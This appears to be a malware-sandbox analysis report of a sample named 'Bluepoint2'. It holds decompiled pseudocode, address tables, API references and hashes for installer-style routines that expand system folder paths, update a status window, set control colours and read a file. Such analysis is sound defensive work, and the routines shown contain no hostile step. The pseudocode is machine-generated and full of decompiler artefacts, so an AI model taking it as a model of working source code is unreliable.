                                                    					 *_t108 =  *_t108 & 0x00000000;
                                                    					if(_a4 == 0) {
                                                    						return _t45;
                                                    					}
                                                    					return E00406668(_a4, _t45);
                                                    				} else {
                                                    					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
                                                    						_t98 = 2;
                                                    						_t105 = _t105 + _t98;
                                                    						if(_t81 >= 4) {
                                                    							if(__eflags != 0) {
                                                    								 *_t108 = _t81;
                                                    								_t108 = _t108 + _t98;
                                                    								__eflags = _t108;
                                                    							} else {
                                                    								 *_t108 =  *_t105;
                                                    								_t108 = _t108 + _t98;
                                                    								_t105 = _t105 + _t98;
                                                    							}
                                                    							L42:
                                                    							_t82 =  *_t105;
                                                    							_a8 = _t82;
                                                    							if(_t82 != 0) {
                                                    								_t81 = _a8;
                                                    								continue;
                                                    							}
                                                    							goto L43;
                                                    						}
                                                    						_t84 =  *((intOrPtr*)(_t105 + 1));
                                                    						_t47 =  *_t105;
                                                    						_t48 = _t47 & 0x000000ff;
                                                    						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
                                                    						_t85 = _t84 & 0x000000ff;
                                                    						_v28 = _t48 | 0x00008000;
                                                    						_t77 = 2;
                                                    						_v16 = _t85;
                                                    						_t105 = _t105 + _t77;
                                                    						_v24 = _t48;
                                                    						_v20 = _t85 | 0x00008000;
                                                    						if(_a8 != _t77) {
                                                    							__eflags = _a8 - 3;
                                                    							if(_a8 != 3) {
                                                    								__eflags = _a8 - 1;
                                                    								if(__eflags == 0) {
                                                    									__eflags = (_t48 | 0xffffffff) - _v12;
                                                    									E004066A5(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
                                                    								}
                                                    								L38:
                                                    								_t108 =  &(_t108[lstrlenW(_t108)]);
                                                    								_t45 = 0x428200;
                                                    								goto L42;
                                                    							}
                                                    							_t78 = _v12;
                                                    							__eflags = _t78 - 0x1d;
                                                    							if(_t78 != 0x1d) {
                                                    								__eflags = (_t78 << 0xb) + 0x42b000;
                                                    								E00406668(_t108, (_t78 << 0xb) + 0x42b000);
                                                    							} else {
                                                    								E004065AF(_t108,  *0x42a268);
                                                    							}
                                                    							__eflags = _t78 + 0xffffffeb - 7;
                                                    							if(__eflags < 0) {
                                                    								L29:
                                                    								E004068EF(_t108);
                                                    							}
                                                    							goto L38;
                                                    						}
                                                    						if( *0x42a2e4 != 0) {
                                                    							_t77 = 4;
                                                    						}
                                                    						_t121 = _t48;
                                                    						if(_t48 >= 0) {
                                                    							__eflags = _t48 - 0x25;
                                                    							if(_t48 != 0x25) {
                                                    								__eflags = _t48 - 0x24;
                                                    								if(_t48 == 0x24) {
                                                    									GetWindowsDirectoryW(_t108, 0x400);
                                                    									_t77 = 0;
                                                    								}
                                                    								while(1) {
                                                    									__eflags = _t77;
                                                    									if(_t77 == 0) {
                                                    										goto L26;
                                                    									}
                                                    									_t59 =  *0x42a264;
                                                    									_t77 = _t77 - 1;
                                                    									__eflags = _t59;
                                                    									if(_t59 == 0) {
                                                    										L22:
                                                    										_t61 = SHGetSpecialFolderLocation( *0x42a268,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
                                                    										__eflags = _t61;
                                                    										if(_t61 != 0) {
                                                    											L24:
                                                    											 *_t108 =  *_t108 & 0x00000000;
                                                    											__eflags =  *_t108;
                                                    											continue;
                                                    										}
                                                    										__imp__SHGetPathFromIDListW(_v8, _t108);
                                                    										_a8 = _t61;
                                                    										__imp__CoTaskMemFree(_v8);
                                                    										__eflags = _a8;
                                                    										if(_a8 != 0) {
                                                    											goto L26;
                                                    										}
                                                    										goto L24;
                                                    									}
                                                    									_t63 =  *_t59( *0x42a268,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
                                                    									__eflags = _t63;
                                                    									if(_t63 == 0) {
                                                    										goto L26;
                                                    									}
                                                    									goto L22;
                                                    								}
                                                    								goto L26;
                                                    							}
                                                    							GetSystemDirectoryW(_t108, 0x400);
                                                    							goto L26;
                                                    						} else {
                                                    							E00406536( *0x42a298, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a298 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
                                                    							if( *_t108 != 0) {
                                                    								L27:
                                                    								if(_v16 == 0x1a) {
                                                    									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
                                                    								}
                                                    								goto L29;
                                                    							}
                                                    							E004066A5(_t77, _t105, _t108, _t108, _v16);
                                                    							L26:
                                                    							if( *_t108 == 0) {
                                                    								goto L29;
                                                    							}
                                                    							goto L27;
                                                    						}
                                                    					}
                                                    					goto L43;
                                                    				}
                                                    			}





























                                                    0x004066a5
                                                    0x004066a5
                                                    0x004066a5
                                                    0x004066ab
                                                    0x004066b0
                                                    0x004066c1
                                                    0x004066c1
                                                    0x004066c9
                                                    0x004066ca
                                                    0x004066cb
                                                    0x004066cc
                                                    0x004066cf
                                                    0x004066d7
                                                    0x004066d9
                                                    0x004066ea
                                                    0x004066ed
                                                    0x004066ed
                                                    0x004066f1
                                                    0x004066f7
                                                    0x004066fa
                                                    0x004068d5
                                                    0x004068d5
                                                    0x004068e0
                                                    0x004068ec
                                                    0x004068ec
                                                    0x00000000
                                                    0x00406700
                                                    0x00406705
                                                    0x0040671a
                                                    0x0040671b
                                                    0x00406721
                                                    0x004068b3
                                                    0x004068c1
                                                    0x004068c4
                                                    0x004068c4
                                                    0x004068b5
                                                    0x004068b8
                                                    0x004068bb
                                                    0x004068bd
                                                    0x004068bd
                                                    0x004068c6
                                                    0x004068c6
                                                    0x004068cc
                                                    0x004068cf
                                                    0x00406702
                                                    0x00000000
                                                    0x00406702
                                                    0x00000000
                                                    0x004068cf
                                                    0x00406727
                                                    0x0040672a
                                                    0x00406739
                                                    0x00406740
                                                    0x0040674c
                                                    0x0040674f
                                                    0x00406752
                                                    0x00406753
                                                    0x00406758
                                                    0x0040675e
                                                    0x00406761
                                                    0x00406764
                                                    0x00406857
                                                    0x0040685c
                                                    0x0040688f
                                                    0x00406894
                                                    0x00406899
                                                    0x0040689e
                                                    0x0040689e
                                                    0x004068a3
                                                    0x004068a9
                                                    0x004068ac
                                                    0x00000000
                                                    0x004068ac
                                                    0x0040685e
                                                    0x00406861
                                                    0x00406864
                                                    0x00406879
                                                    0x00406880
                                                    0x00406866
                                                    0x0040686d
                                                    0x0040686d
                                                    0x00406888
                                                    0x0040688b
                                                    0x0040684f
                                                    0x00406850
                                                    0x00406850
                                                    0x00000000
                                                    0x0040688b
                                                    0x00406771
                                                    0x00406775
                                                    0x00406775
                                                    0x00406776
                                                    0x00406778
                                                    0x004067b5
                                                    0x004067b8
                                                    0x004067c8
                                                    0x004067cb
                                                    0x004067d3
                                                    0x004067d9
                                                    0x004067d9
                                                    0x00406834
                                                    0x00406834
                                                    0x00406836
                                                    0x00000000
                                                    0x00000000
                                                    0x004067dd
                                                    0x004067e2
                                                    0x004067e3
                                                    0x004067e5
                                                    0x004067fc
                                                    0x0040680a
                                                    0x00406810
                                                    0x00406812
                                                    0x00406830
                                                    0x00406830
                                                    0x00406830
                                                    0x00000000
                                                    0x00406830
                                                    0x00406818
                                                    0x00406821
                                                    0x00406824
                                                    0x0040682a
                                                    0x0040682e
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040682e
                                                    0x004067f6
                                                    0x004067f8
                                                    0x004067fa
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004067fa
                                                    0x00000000
                                                    0x00406834
                                                    0x004067c0
                                                    0x00000000
                                                    0x0040677a
                                                    0x00406798
                                                    0x004067a1
                                                    0x0040683e
                                                    0x00406842
                                                    0x0040684a
                                                    0x0040684a
                                                    0x00000000
                                                    0x00406842
                                                    0x004067ab
                                                    0x00406838
                                                    0x0040683c
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040683c
                                                    0x00406778
                                                    0x00000000
                                                    0x00406705

                                                    APIs
                                                    • GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004067C0
                                                    • GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422728,?,00405701,00422728,00000000,00000000,00000000,00000000), ref: 004067D3
                                                    • lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
                                                    • lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Directory$SystemWindowslstrcatlstrlen
                                                    • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                    • API String ID: 4260037668-1230650788
                                                    • Opcode ID: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
                                                    • Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
                                                    • Opcode Fuzzy Hash: 1c129aaeae4721ad32508ffaab04e099ccdaef91abef8552f1ca909acb5604ca
                                                    • Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E004056CA(signed int _a4, WCHAR* _a8) {
                                                    				struct HWND__* _v8;
                                                    				signed int _v12;
                                                    				WCHAR* _v32;
                                                    				long _v44;
                                                    				int _v48;
                                                    				void* _v52;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				WCHAR* _t27;
                                                    				signed int _t28;
                                                    				long _t29;
                                                    				signed int _t37;
                                                    				signed int _t38;
                                                    
                                                    				_t27 =  *0x429244;
                                                    				_v8 = _t27;
                                                    				if(_t27 != 0) {
                                                    					_t37 =  *0x42a314;
                                                    					_v12 = _t37;
                                                    					_t38 = _t37 & 0x00000001;
                                                    					if(_t38 == 0) {
                                                    						E004066A5(_t38, 0, 0x422728, 0x422728, _a4);
                                                    					}
                                                    					_t27 = lstrlenW(0x422728);
                                                    					_a4 = _t27;
                                                    					if(_a8 == 0) {
                                                    						L6:
                                                    						if((_v12 & 0x00000004) == 0) {
                                                    							_t27 = SetWindowTextW( *0x429228, 0x422728);
                                                    						}
                                                    						if((_v12 & 0x00000002) == 0) {
                                                    							_v32 = 0x422728;
                                                    							_v52 = 1;
                                                    							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
                                                    							_v44 = 0;
                                                    							_v48 = _t29 - _t38;
                                                    							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
                                                    							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
                                                    						}
                                                    						if(_t38 != 0) {
                                                    							_t28 = _a4;
                                                    							0x422728[_t28] = 0;
                                                    							return _t28;
                                                    						}
                                                    					} else {
                                                    						_t27 = lstrlenW(_a8) + _a4;
                                                    						if(_t27 < 0x1000) {
                                                    							_t27 = lstrcatW(0x422728, _a8);
                                                    							goto L6;
                                                    						}
                                                    					}
                                                    				}
                                                    				return _t27;
                                                    			}

















                                                    0x004056d0
                                                    0x004056da
                                                    0x004056df
                                                    0x004056e5
                                                    0x004056f0
                                                    0x004056f3
                                                    0x004056f6
                                                    0x004056fc
                                                    0x004056fc
                                                    0x00405702
                                                    0x0040570a
                                                    0x0040570d
                                                    0x0040572a
                                                    0x0040572e
                                                    0x00405737
                                                    0x00405737
                                                    0x00405741
                                                    0x0040574a
                                                    0x00405756
                                                    0x0040575d
                                                    0x00405761
                                                    0x00405764
                                                    0x00405777
                                                    0x00405785
                                                    0x00405785
                                                    0x00405789
                                                    0x0040578b
                                                    0x0040578e
                                                    0x00000000
                                                    0x0040578e
                                                    0x0040570f
                                                    0x00405717
                                                    0x0040571f
                                                    0x00405725
                                                    0x00000000
                                                    0x00405725
                                                    0x0040571f
                                                    0x0040570d
                                                    0x0040579a

                                                    APIs
                                                    • lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
                                                    • lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
                                                    • lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
                                                    • SetWindowTextW.USER32(00422728,00422728), ref: 00405737
                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
                                                    • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
                                                    • SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
                                                      • Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
                                                      • Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSendlstrlen$lstrcat$TextWindow
                                                    • String ID: ('B
                                                    • API String ID: 1495540970-2332581011
                                                    • Opcode ID: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
                                                    • Instruction ID: 7f52a71d89202be05388d2ae90ba5930d13dcc1e6093ad3ff4eaa481a322a782
                                                    • Opcode Fuzzy Hash: ecaae210665ee7222a04207821391202ddee9f1067a944388ad148c6c7792cdb
                                                    • Instruction Fuzzy Hash: C6217A71900518FACB119FA5DD84A8EBFB8EB45360F10857AF904B62A0D67A4A509F68
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E0040462B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
                                                    				struct tagLOGBRUSH _v16;
                                                    				long _t39;
                                                    				long _t41;
                                                    				void* _t44;
                                                    				signed char _t50;
                                                    				long* _t54;
                                                    
                                                    				if(_a4 + 0xfffffecd > 5) {
                                                    					L18:
                                                    					return 0;
                                                    				}
                                                    				_t54 = GetWindowLongW(_a12, 0xffffffeb);
                                                    				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
                                                    					goto L18;
                                                    				} else {
                                                    					_t50 = _t54[5];
                                                    					if((_t50 & 0xffffffe0) != 0) {
                                                    						goto L18;
                                                    					}
                                                    					_t39 =  *_t54;
                                                    					if((_t50 & 0x00000002) != 0) {
                                                    						_t39 = GetSysColor(_t39);
                                                    					}
                                                    					if((_t54[5] & 0x00000001) != 0) {
                                                    						SetTextColor(_a8, _t39);
                                                    					}
                                                    					SetBkMode(_a8, _t54[4]);
                                                    					_t41 = _t54[1];
                                                    					_v16.lbColor = _t41;
                                                    					if((_t54[5] & 0x00000008) != 0) {
                                                    						_t41 = GetSysColor(_t41);
                                                    						_v16.lbColor = _t41;
                                                    					}
                                                    					if((_t54[5] & 0x00000004) != 0) {
                                                    						SetBkColor(_a8, _t41);
                                                    					}
                                                    					if((_t54[5] & 0x00000010) != 0) {
                                                    						_v16.lbStyle = _t54[2];
                                                    						_t44 = _t54[3];
                                                    						if(_t44 != 0) {
                                                    							DeleteObject(_t44);
                                                    						}
                                                    						_t54[3] = CreateBrushIndirect( &_v16);
                                                    					}
                                                    					return _t54[3];
                                                    				}
                                                    			}









                                                    0x0040463d
                                                    0x004046f3
                                                    0x00000000
                                                    0x004046f3
                                                    0x0040464e
                                                    0x00404652
                                                    0x00000000
                                                    0x0040466c
                                                    0x0040466c
                                                    0x00404675
                                                    0x00000000
                                                    0x00000000
                                                    0x00404677
                                                    0x00404683
                                                    0x00404686
                                                    0x00404686
                                                    0x0040468c
                                                    0x00404692
                                                    0x00404692
                                                    0x0040469e
                                                    0x004046a4
                                                    0x004046ab
                                                    0x004046ae
                                                    0x004046b1
                                                    0x004046b3
                                                    0x004046b3
                                                    0x004046bb
                                                    0x004046c1
                                                    0x004046c1
                                                    0x004046cb
                                                    0x004046d0
                                                    0x004046d3
                                                    0x004046d8
                                                    0x004046db
                                                    0x004046db
                                                    0x004046eb
                                                    0x004046eb
                                                    0x00000000
                                                    0x004046ee

                                                    APIs
                                                    • GetWindowLongW.USER32(?,000000EB), ref: 00404648
                                                    • GetSysColor.USER32(00000000), ref: 00404686
                                                    • SetTextColor.GDI32(?,00000000), ref: 00404692
                                                    • SetBkMode.GDI32(?,?), ref: 0040469E
                                                    • GetSysColor.USER32(?), ref: 004046B1
                                                    • SetBkColor.GDI32(?,?), ref: 004046C1
                                                    • DeleteObject.GDI32(?), ref: 004046DB
                                                    • CreateBrushIndirect.GDI32(?), ref: 004046E5
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                    • String ID:
                                                    • API String ID: 2320649405-0
                                                    • Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
                                                    • Instruction ID: e78b8cc9c8042372c9a7340b9b8aa9b23ded286a9f8ddc7240a2e2d8bd1f46c0
                                                    • Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
                                                    • Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 87%
                                                    			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
                                                    				intOrPtr _t65;
                                                    				intOrPtr _t66;
                                                    				intOrPtr _t72;
                                                    				void* _t76;
                                                    				void* _t79;
                                                    
                                                    				_t72 = __edx;
                                                    				 *((intOrPtr*)(_t76 - 8)) = __ebx;
                                                    				_t65 = 2;
                                                    				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
                                                    				_t66 = E00402D84(_t65);
                                                    				_t79 = _t66 - 1;
                                                    				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
                                                    				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
                                                    				if(_t79 < 0) {
                                                    					L36:
                                                    					 *0x42a2e8 =  *0x42a2e8 +  *(_t76 - 4);
                                                    				} else {
                                                    					__ecx = 0x3ff;
                                                    					if(__eax > 0x3ff) {
                                                    						 *(__ebp - 0x44) = 0x3ff;
                                                    					}
                                                    					if( *__edi == __bx) {
                                                    						L34:
                                                    						__ecx =  *(__ebp - 0xc);
                                                    						__eax =  *(__ebp - 8);
                                                    						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
                                                    						if(_t79 == 0) {
                                                    							 *(_t76 - 4) = 1;
                                                    						}
                                                    						goto L36;
                                                    					} else {
                                                    						 *(__ebp - 0x38) = __ebx;
                                                    						 *(__ebp - 0x18) = E004065C8(__ecx, __edi);
                                                    						if( *(__ebp - 0x44) > __ebx) {
                                                    							do {
                                                    								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
                                                    									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00406239( *(__ebp - 0x18), __ebx) >= 0) {
                                                    										__eax = __ebp - 0x50;
                                                    										if(E004061DB( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
                                                    											goto L34;
                                                    										} else {
                                                    											goto L21;
                                                    										}
                                                    									} else {
                                                    										goto L34;
                                                    									}
                                                    								} else {
                                                    									__eax = __ebp - 0x40;
                                                    									_push(__ebx);
                                                    									_push(__ebp - 0x40);
                                                    									__eax = 2;
                                                    									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
                                                    									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
                                                    									if(__eax == 0) {
                                                    										goto L34;
                                                    									} else {
                                                    										__ecx =  *(__ebp - 0x40);
                                                    										if(__ecx == __ebx) {
                                                    											goto L34;
                                                    										} else {
                                                    											__ax =  *(__ebp + 0xa) & 0x000000ff;
                                                    											 *(__ebp - 0x4c) = __ecx;
                                                    											 *(__ebp - 0x50) = __eax;
                                                    											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
                                                    												L28:
                                                    												__ax & 0x0000ffff = E004065AF( *(__ebp - 0xc), __ax & 0x0000ffff);
                                                    											} else {
                                                    												__ebp - 0x50 = __ebp + 0xa;
                                                    												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
                                                    													L21:
                                                    													__eax =  *(__ebp - 0x50);
                                                    												} else {
                                                    													__edi =  *(__ebp - 0x4c);
                                                    													__edi =  ~( *(__ebp - 0x4c));
                                                    													while(1) {
                                                    														_t22 = __ebp - 0x40;
                                                    														 *_t22 =  *(__ebp - 0x40) - 1;
                                                    														__eax = 0xfffd;
                                                    														 *(__ebp - 0x50) = 0xfffd;
                                                    														if( *_t22 == 0) {
                                                    															goto L22;
                                                    														}
                                                    														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
                                                    														__edi = __edi + 1;
                                                    														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
                                                    														__eax = __ebp + 0xa;
                                                    														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
                                                    															continue;
                                                    														} else {
                                                    															goto L21;
                                                    														}
                                                    														goto L22;
                                                    													}
                                                    												}
                                                    												L22:
                                                    												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
                                                    													goto L28;
                                                    												} else {
                                                    													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
                                                    														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
                                                    															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
                                                    															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
                                                    														} else {
                                                    															__ecx =  *(__ebp - 0xc);
                                                    															__edx =  *(__ebp - 8);
                                                    															 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                                    															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                                    														}
                                                    														goto L34;
                                                    													} else {
                                                    														__ecx =  *(__ebp - 0xc);
                                                    														__edx =  *(__ebp - 8);
                                                    														 *(__ebp - 8) =  *(__ebp - 8) + 1;
                                                    														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
                                                    														 *(__ebp - 0x38) = __eax;
                                                    														if(__ax == __bx) {
                                                    															goto L34;
                                                    														} else {
                                                    															goto L26;
                                                    														}
                                                    													}
                                                    												}
                                                    											}
                                                    										}
                                                    									}
                                                    								}
                                                    								goto L37;
                                                    								L26:
                                                    								__eax =  *(__ebp - 8);
                                                    							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
                                                    						}
                                                    						goto L34;
                                                    					}
                                                    				}
                                                    				L37:
                                                    				return 0;
                                                    			}








                                                    0x004026ec
                                                    0x004026ee
                                                    0x004026f1
                                                    0x004026f3
                                                    0x004026f6
                                                    0x004026fb
                                                    0x004026ff
                                                    0x00402702
                                                    0x00402705
                                                    0x00402c2a
                                                    0x00402c2d
                                                    0x0040270b
                                                    0x0040270b
                                                    0x00402712
                                                    0x00402714
                                                    0x00402714
                                                    0x0040271a
                                                    0x0040287e
                                                    0x0040287e
                                                    0x00402881
                                                    0x00402886
                                                    0x004015b6
                                                    0x0040292e
                                                    0x0040292e
                                                    0x00000000
                                                    0x00402720
                                                    0x00402721
                                                    0x0040272c
                                                    0x0040272f
                                                    0x0040273b
                                                    0x0040273f
                                                    0x004027d7
                                                    0x004027ef
                                                    0x004027ff
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00402745
                                                    0x00402745
                                                    0x00402748
                                                    0x00402749
                                                    0x0040274c
                                                    0x00402751
                                                    0x00402758
                                                    0x00402760
                                                    0x00000000
                                                    0x00402766
                                                    0x00402766
                                                    0x0040276b
                                                    0x00000000
                                                    0x00402771
                                                    0x00402771
                                                    0x00402779
                                                    0x0040277c
                                                    0x0040277f
                                                    0x0040283a
                                                    0x00402841
                                                    0x00402785
                                                    0x0040278b
                                                    0x00402797
                                                    0x00402801
                                                    0x00402801
                                                    0x00402799
                                                    0x00402799
                                                    0x0040279c
                                                    0x0040279e
                                                    0x0040279e
                                                    0x0040279e
                                                    0x004027a1
                                                    0x004027a6
                                                    0x004027a9
                                                    0x00000000
                                                    0x00000000
                                                    0x004027ab
                                                    0x004027ae
                                                    0x004027bc
                                                    0x004027c2
                                                    0x004027d0
                                                    0x00000000
                                                    0x004027d2
                                                    0x00000000
                                                    0x004027d2
                                                    0x00000000
                                                    0x004027d0
                                                    0x0040279e
                                                    0x00402804
                                                    0x00402807
                                                    0x00000000
                                                    0x00402809
                                                    0x0040280e
                                                    0x0040284f
                                                    0x00402871
                                                    0x00402878
                                                    0x0040285d
                                                    0x0040285d
                                                    0x00402860
                                                    0x00402863
                                                    0x00402866
                                                    0x00402866
                                                    0x00000000
                                                    0x00402817
                                                    0x00402817
                                                    0x0040281a
                                                    0x0040281d
                                                    0x00402823
                                                    0x00402827
                                                    0x0040282a
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040282a
                                                    0x0040280e
                                                    0x00402807
                                                    0x0040277f
                                                    0x0040276b
                                                    0x00402760
                                                    0x00000000
                                                    0x0040282c
                                                    0x0040282c
                                                    0x0040282f
                                                    0x00402838
                                                    0x00000000
                                                    0x0040272f
                                                    0x0040271a
                                                    0x00402c33
                                                    0x00402c39

                                                    APIs
                                                    • ReadFile.KERNEL32(?,?,?,?), ref: 00402758
                                                    • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
                                                    • SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
                                                    • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC
                                                      • Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F
                                                    • SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
